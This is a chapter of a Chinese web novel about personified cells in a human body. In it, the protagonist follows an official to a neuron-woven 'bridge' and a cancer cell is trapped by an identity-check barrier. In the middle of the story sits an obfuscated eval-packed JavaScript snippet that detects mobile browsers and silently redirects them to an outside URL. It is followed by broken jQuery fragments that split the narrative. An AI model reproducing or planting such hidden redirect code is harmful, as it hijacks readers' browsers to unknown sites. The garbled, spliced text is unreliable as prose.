旦矢仔细一想,确实,他要是死了,整具身体都没了,瓦莱里安也是在保证他自己的生命,而且......
旦矢知道他更担心什么,随即微笑着牵过瓦莱里安的手腕,在脉络处摸索,一本正经的胡说:“别紧张,你体内的能量还没断绝。”
瓦莱里安抽出手腕,怒气横生的瞧了他一眼,接着大步朝前走去,
旦矢在一众骨刺骑士的视线下,跟在了瓦莱里安的身后,随他一路来到卧房,旦矢刚要跟进去就被瓦莱里安挡在了门外,
瓦莱里安撑着门框,垂下眼睛看他:“换衣服,也要跟着吗?”
“啊,那你别离得太远,免得......”旦矢还没说完,就被‘咣当’一声关在门外。
脾气真差,
旦矢给出了中肯的评价,正在门外无聊腹语时,肩膀忽然被拍了一下,
旦矢扭头看去,只见西尔瓦斯靠在墙上看他:“你一直跟着他,是因为出去的办法在他身上吗?”
旦矢瞬间惊觉,四处张望,确定附近没有细胞经过才小声道:
“你怎么敢随意出来,要是被发现,我们就都完了。”
“是你就完了,我可是很快就能脱困的。”西尔瓦斯纠正道。
“你说的没错,但是我很惜命,所以拜托你别给我添麻烦。”
“你还没有回答我的问题,”西尔瓦斯说着靠近了些:“如果出去的办法在他身上,我直接把他打晕带走就行了,还需要这么麻烦吗?”
“没有那么简单,我还不知道位置和具体方法,现在不能打草惊蛇,你再......”
旦矢话未说完,忽然被一双手往后揽去,
旦矢一低头,只见那双手是从墙上伸出来的,瞬间睁大了眼睛,但只诧异了一瞬就被墙壁上穿出的白尼尔拉到身后,
“他还没有答应跟你合作,所以请你不要擅自找上门来。”
西尔瓦斯抬眸冷笑一声:“是吗?如果不是我,他刚才就已经跳下去摔死了。”
白尼尔抽出刀对准他:“刚才是刚才,现在是现在,现在,请你离开。”
“你还真是过河拆桥啊。”
旦矢在一旁看得心惊:“不是,你们先别......”
咔擦——
门打开的突兀声响起,眼见瓦莱里安走了出来。
旦矢直接闭上了眼睛,算了毁灭吧,他已经做好迎接狂风暴雨的准备了。
一阵诡异的静默后,
瓦莱里安率先开了口:“你睡着了?”
哈?旦矢缓慢的睁开双眼,只见这里除了他和瓦莱里安,再无第二枚细胞。
“要跟着就快点,我没时间陪你磨蹭。”
瓦莱里安说完就往前走去。
旦矢看了看空荡的四周,这才想起方才那两位一个能穿骨骼,一个能穿组织,是他多虑了,
旦矢松了口气也跟了上去,看着瓦莱里安换上较为贴身的衣物,身上的装备也一应俱全,
旦矢忽然意识到,他或许是要去那个所谓的‘桥’了,从偷听到的对话中不难猜到,‘桥’就是那截连接身体和‘尾部’的血管,
只要知道‘桥’的位置和打开方式,逃离这里就会变得易如反掌。
宫殿大门外,
维拉德斯正率领一众骨刺骑士和一队红细胞等候已久,看着跟着瓦莱里安身后的旦矢蹙眉:“你确定,要带着这个实验品跟我们一起去吗?”
“有什么问题吗?”瓦莱里安紧了紧手腕上的袖扣,不以为意道。
维拉德斯伸出手面向他:“拿来。”
“什么?”
“‘主人’允许他跟随的通行令。”
“维拉德斯,你一定要在这种事情上跟我较真吗?你别忘了,我才是总管,这里我说了算。”
“我是在保证大家的安全。”维拉德斯执拗道,目光用力瞟过旦矢。
旦矢被看得周身一片凉意,往瓦莱里安身后又躲了躲。
“他不会出‘尾部’,出了任何事情我担着,如果你不想跟着就回去,你自己看着办,”
瓦莱里安擦过他的肩头走过,朝他身后一众骨刺骑士道:“我们走。”
所有的骑士没有一刻犹豫的跟紧了瓦莱里安,将维拉德斯抛在身后,他们都清楚忤逆瓦莱里安的下场。
“该死。”维拉德斯低咒了一声还是不放心的跟了上去。
穿过正常的组织,
他们来到了一处开着珊瑚形花朵的悬崖边,前方云雾缭绕,看不清对岸的样子。
没路了?
旦矢有些疑惑,但除他外的所有细胞都沉默地立在原地,如同早就习惯一般的等待着。
瓦莱里安将手伸向悬崖,像是触摸在透明墙壁上那样往里轻轻按动,
金色的树枝状物体从瓦莱里安的手心向外蔓延,说像树枝其实不够准确,细密的线条,更趋近于炸开的金色雷电,
又或者说,像是大脑里错综复杂、根根相连的神经元形状。
直到整个悬崖的边缘都蔓延开这种物质后,瓦莱里安忽然转头盯着他道:“你,转过身去,闭上眼睛。”
“哈?”
旦矢刚想问为什么,就见身后所有细胞都已经熟练的背过身去,只有他还睁大眼睛死死盯着。
迎上瓦莱里安阴沉的双眼,旦矢脱口而出一声“抱歉”,接着也跟众细胞一样转过身,但他没有闭上眼睛,
那位‘主人’说过的话语突兀的出现在旦矢的脑子里,
‘你每次通过‘桥’运送养分的时间都太长了,你知道我要花费多少的能量去补给‘桥’。’
花费能量去补给?
难道整个‘尾部’都是在那位‘主人’的能量供养之下才存在的吗?
还有悬崖边那错综复杂的线条,或许,根本不是像,那些就是模拟‘神经元’的网络,
或许,就连那位‘主人’也是脑细胞中的神经元,甚至为了稳定能量而无法四处走动,
这样想来,一切都变得合理了起来。
怪不得自称为‘主人’,它确实是‘尾部’世界的创立者,担得起主人这个名号。
不过,它一个神经元,是怎么有这么大的本事,构建一个人体根本不存在的世界呢?
“哈哈,跟着你果然是对的,也谢谢这位贴心的朋友打开了通道,我先走了,下次见。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070679|175659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟悉的声音想起,
是西尔瓦斯!
糟了,他居然跟来了。
旦矢暗道一声不好转过身去,只见悬崖边密密麻麻的‘神经元’网络,不知何时编织出了一座金色的吊桥,通向云雾后的神秘之处,
而西尔瓦斯在所有细胞都没反应过来的时候,冲到了吊桥中央,
这里没有骨骼结构,西尔瓦斯奔跑的身形在他们面前显现出来,
或许过于激动,西尔瓦斯的三双手臂和诡异粗壮的大腿,都冲破衣服钻了出来,肆意张扬着自己的癌变身份。
“是癌细胞!该死,我就知道今天会出问题!”维拉德斯说着就要往吊桥上冲去,
瓦莱里安站在桥边伸手拦下了他,冷静道:“等等。”
“等什么?瓦莱里安!你疯了!虽然我们是为了躲避分解逃到这里来,但癌细胞是什么东西你比我更清楚,
让这种东西进入人体,整个世界都会被毁掉的!你有责任心吗?你还算是这具身体里的一份子吗?
你怕的话就退后,让我来,我就算拼死也会阻止他进入人体。”
维拉德斯说着就又要往吊桥上冲去。
“啧,你真的没有脑子。”瓦莱里安触上‘神经元’网络,轻而易举地操纵其将维拉德斯绑了起来。
“喂,你放我......”维拉德斯还没说完,就听悬崖前方传来一阵哀嚎,
方才的西尔瓦斯正看着近在咫尺的对岸欣喜,一只脚猛地踏上对岸之时,忽然发现自己撞在对岸一道无形的墙上,
那道无形的墙渐渐显现出来,是密密麻麻还未开启的‘神经元’网络。
冰冷的机械音响起:
【未进行身份录入,禁止通行】
西尔瓦斯整个身体都被牢牢黏住,动弹不得,他不可置信的看着对岸,只差一步,只差一步他就要回到人体了,这到底是个什么鬼东西?
西尔瓦斯尖叫着哀嚎:“放开我,你们这群低等细胞,有本事正面来对打啊,你们加起来也不是我的对手,快放了我。”
旦矢蹙起眉,还好这次有西尔瓦斯提前做了尝试,不然他要是跟白尼尔贸然闯入后果不堪设想,
原来通过这座‘桥’还需要验证身份,那这块巨大神经元形状的网络,到底是靠什么来识别身份信息的呢?
瓦莱里安抬手触上‘神经元’,操纵上面的树状突起将西尔瓦斯牢牢捆了起来,接着放开维拉德斯。
维拉德斯落地后尴尬地笑笑,他挠了挠后脑:
“原来你是在等他撞上‘身份识别墙’啊,我急坏了,都忘了这一茬了,要真跟他交手,我怕还真打不过他,毕竟我又不是免疫细胞,我还以为你......”
“以为我什么?以为我会为了自保,弃人体于不顾吗?”瓦莱里安白了他一眼,操纵着手中的‘神经元’网络,将那枚吵闹的癌细胞捆紧些:
“在这种明知自己打不过的情况下,我只能借用‘主人’的力量,我跟你一样来自人体,你能为人体舍命我也同样可以,”
“就算你不提醒我也会这么做的,”瓦莱里安转身朝他看去:
“维拉德斯,别看轻我。”